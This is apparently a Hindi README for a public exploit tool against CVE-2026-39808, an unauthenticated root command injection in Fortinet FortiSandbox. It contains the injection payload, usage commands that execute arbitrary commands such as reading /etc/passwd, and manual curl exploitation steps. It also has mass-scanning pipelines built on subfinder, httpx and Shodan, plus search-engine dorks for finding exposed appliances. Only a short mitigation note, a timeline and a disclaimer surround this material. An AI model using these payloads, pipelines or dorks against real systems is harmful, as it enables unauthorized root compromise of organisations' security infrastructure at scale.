
अनधिकृत RCE स्कैनर FortiSandbox CVE-2026-39808 के लिए, जिसमें कैनरी-आधारित सत्यापन, कमांड निष्पादन, और बड़े पैमाने पर स्कैनिंग के लिए पाइपलाइन एकीकरण शामिल है।
Fortinet FortiSandbox में बिना प्रमाणीकरण के root के रूप में OS कमांड इंजेक्शन
भेद्यता • स्थापना • उपयोग • यह कैसे काम करता है • पाइपलाइन • Shodan Dorks • अस्वीकरण
CVE-2026-39808 Fortinet FortiSandbox में एक गंभीर बिना प्रमाणीकरण वाली OS कमांड इंजेक्शन भेद्यता है। /fortisandbox/job-detail/tracer-behavior API एंडपॉइंट jid पैरामीटर को सैनिटाइज़ करने में विफल रहता है, जिससे एक हमलावर मनमाने OS कमांड इंजेक्ट कर सकता है जो root के रूप में निष्पादित होते हैं — बिना किसी प्रमाणीकरण के।
tracer-behavior एंडपॉइंट में jid पैरामीटर को बिना सैनिटाइज़ेशन के सीधे एक सिस्टम कमांड में पास किया जाता है। पाइप वर्णों (|) का उपयोग करके, एक हमलावर इच्छित कमांड संदर्भ से बाहर निकल सकता है और मनमाने कमांड निष्पादित कर सकता है:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
आउटपुट /web/ng/out.txt में लिखा जाता है, जो वेब सर्वर पर /ng/out.txt पर उपलब्ध है — जो ब्लाइंड कमांड इंजेक्शन के लिए एक सुविधाजनक रीड-बैक तंत्र प्रदान करता है।
शून्य निर्भरताएँ। केवल Python 3.7+ मानक लाइब्रेरी।
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# जाँचें कि क्या लक्ष्य भेद्य है (कैनरी-आधारित पहचान का उपयोग करता है)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# लक्ष्य पर एक विशिष्ट कमांड निष्पादित करें
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# केवल जाँचें कि क्या भेद्य है, --cmd निष्पादित न करें
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# URL सूची से
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → स्कैनर
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → स्कैनर
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL लक्ष्य URL
--stdin stdin से URL पढ़ें (पाइपलाइन मोड)
--cmd CMD निष्पादित करने के लिए OS कमांड (डिफ़ॉल्ट: id)
--verify-only केवल भेद्यता सत्यापित करें, --cmd निष्पादित न करें
--proxy PROXY HTTP प्रॉक्सी (जैसे, http://127.0.0.1:8080)
--timeout TIMEOUT HTTP टाइमआउट सेकंड में (डिफ़ॉल्ट: 15)
--rate-limit RATE_LIMIT लक्ष्यों के बीच देरी ms में (डिफ़ॉल्ट: 0)
-o, --output FILE आउटपुट JSON रिपोर्ट फ़ाइल
--no-banner बैनर दबाएँ
स्कैनर 5-चरणीय सत्यापन प्रक्रिया का उपयोग करता है जिसमें सख्त गलत-सकारात्मक रोकथाम होती है:
चरण 1 → FortiSandbox का पता लगाएँ (शीर्षक/हेडर फ़िंगरप्रिंट)
चरण 2 → जाँचें कि क्या भेद्य एंडपॉइंट मौजूद है
चरण 3 → कमांड इंजेक्शन के माध्यम से अद्वितीय कैनरी स्ट्रिंग इंजेक्ट करें
चरण 4 → /ng/out.txt पढ़ें और कैनरी सत्यापित करें (सख्त सादा-पाठ सत्यापन)
चरण 5 → उपयोगकर्ता कमांड निष्पादित करें + सफाई
स्कैनर गलत सकारात्मक को समाप्त करने के लिए सत्यापन की कई परतें लागू करता है:
text/html नहीं होना चाहिएid आउटपुट रेगेक्स — आकार जाँच के साथ सख्त uid=\d+(\w+) पैटर्न मिलान (<1000 बाइट्स)/ng प्रत्यय स्वचालित रूप से हटाता है ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Unauthenticated Command Injection (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Target: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detected!
▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
▸ Endpoint status: 200 | Content-Type: text/html
▸ Injecting canary: mitsec_a8k3m2x1
▸ Reading output: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
CRITICAL Target: https://fortisandbox.example.com
✓ Canary 'mitsec_a8k3m2x1' verified in output (clean plain text)
──────────────────────────────────────────────────────────
Command Output: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Output file cleaned up
┌──────────────────────────────────────────────────────────┐
│ Target: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detected!
▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
✗ Endpoint returned 404 — not vulnerable or patched
▸ Reading output: https://target.com/ng/out.txt
⚠ Output URL returns HTML page — this is the Angular SPA, NOT command output
▸ Content-Type: text/html
▸ This is a false positive — /ng/out.txt serves the SPA index.html
▸ Target does not appear vulnerable
{
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": "2026-04-22T10:30:00+00:00",
"total_targets": 5,
"vulnerable": 1,
"results": [
{
"target": "https://fortisandbox.example.com",
"vulnerable": true,
"details": {
"is_fortisandbox": true,
"server": "Apache",
"canary": "mitsec_a8k3m2x1",
"verification": "canary_match",
"command": "id",
"output": "uid=0(root) gid=0(root) groups=0(root)"
},
"timestamp": "2026-04-22T10:30:00+00:00"
}
]
}
स्कैनर भेद्य URL को stdout पर आउटपुट करता है (अन्य सभी आउटपुट stderr पर जाता है), जिससे यह पूरी तरह से पाइपलाइन-संगत बन जाता है:
# भेद्य लक्ष्य खोजें और सहेजें
subfinder -d corp.com -silent | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
tee vulnerable_fortisandbox.txt
# आगे के परीक्षण के लिए nuclei के साथ चेन करें
cat vulnerable_fortisandbox.txt | nuclei -t cves/
# रेट सीमित करने के साथ साइलेंट मास स्कैन
cat shodan_results.txt | \
python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778
Censys:
services.http.response.html_title:"FortiSandbox"
FOFA:
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"
Google Dork:
intitle:"FortiSandbox - Please login"
यदि आप curl का उपयोग करके मैन्युअल रूप से सत्यापित करना पसंद करते हैं:
# चरण 1: कमांड इंजेक्ट करें
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
--data-urlencode "jid=|(id > /web/ng/out.txt)|"
# चरण 2: आउटपुट पढ़ें
curl -s -k "https://TARGET/ng/out.txt"
# अपेक्षित: uid=0(root) gid=0(root) groups=0(root)
/fortisandbox/job-detail/ एंडपॉइंट तक बाहरी पहुंच को ब्लॉक करने के लिए फ़ायरवॉल नियमों का उपयोग करेंjid पैरामीटर मानों के लिए लॉग की निगरानी करें| तिथि | घटना |
|---|---|
| नवंबर 2025 | भेद्यता की खोज |
| अप्रैल 2026 | CVE-2026-39808 प्रकाशित |
| अप्रैल 2026 | FortiSandbox 4.4.9 में पैच किया गया |
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। परीक्षण से पहले हमेशा उचित लिखित प्राधिकरण प्राप्त करें। लेखक इस उपकरण के दुरुपयोग के लिए कोई दायित्व नहीं मानता है।
mitsec — @ynsmroztas
यदि यह उपकरण आपके काम आया, तो इसे ⭐ देने पर विचार करें
| विवरण | मान |
|---|
| CVE ID | CVE-2026-39808 |
| CVSS स्कोर | 9.8 (गंभीर) |
| हमला वेक्टर | नेटवर्क |
| प्रमाणीकरण | कोई नहीं |
| विशेषाधिकार | Root |
| प्रभावित संस्करण | FortiSandbox < 4.4.9 |
| पैच किया गया | 4.4.9 और उससे ऊपर |
| परामर्श | FG-IR-25-325 |